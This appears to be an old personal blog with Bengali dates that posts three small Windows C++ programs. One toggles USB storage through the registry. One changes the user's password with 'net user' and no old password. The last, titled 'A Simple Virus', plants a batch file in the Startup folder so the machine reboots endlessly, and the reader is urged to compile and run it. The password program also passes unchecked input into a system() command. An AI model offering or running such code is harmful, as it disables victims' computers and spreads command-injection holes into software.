শুক্রবার, ২১ অক্টোবর, ২০১১

Enable and Disable removable drive using C++ !!


#include<cstdlib>
#include<iostream>
#include<cstdio>
using namespace std;
int main()
{
    int ch;
    while(1)
    {
       
       system("cls");
        cout<<"\nSelect an Option"<<endl<<"1.Disble pen Drive \n2.Enable pen Drive \n3.Exit"<<endl<<":";
        cin>>ch;
        if(ch==1)
            system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f");
        else if(ch==2)
            system("reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f");
        else if(ch==3)
            break;
        else
            cout<<"Wrong choice\n\n" ;    
        cout<<"Press any key to continoue............";
        getchar();
        getchar();
    }
    return 0;
}




মঙ্গলবার, ২৭ সেপ্টেম্বর, ২০১১

Change Win XP password without old password ! using C++


#include<iostream>
#include<windows.h>
#include<cstring>

using namespace std;

int main()
{
    char str[100],str2[25];
    unsigned long dwSize = 255;
    char pbuf[25];
    strcpy(str,"net user ");
    GetUserName(pbuf, &dwSize);
    strcat(str,pbuf);
    strcat(str," ");
    cout<<"Enter New pass:";
    cin>>str2;
    strcat(str,str2);
    system(str);
 
    cout<<"your new password "<<str2<<endl;
 
    system("PAUSE");
 
 

 
    return 0;

}


Description :  
                     I create this program using a simple xp dos command line bug . You can change pass without old pass  from command prompt . Command is below  here .

                                               net user *username *newpass  
*username= your computer current user  and *newpass = new password .
In my program at first scan computer username from computer using  GetUserName(); function and scan new password from user .

   I  Manipulate a string like as command line command and use this as dos command by system() function.



রবিবার, ৬ ফেব্রুয়ারী, ২০১১

A Simple Virus Code in c++

#include<stdio.h>
//SR Production
int main()
{
    FILE *f;
    f=fopen("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\sr.bat","w");
    fprintf(f,"shutdown -r -t 0 -c \"Dora khaila Mamu. Tumi Faissa gecho mainkar chipai \"");
    system("shutdown -r -t 0");
  
    return 0;
}

Just compile this code and Run ..!! and see what happen....!!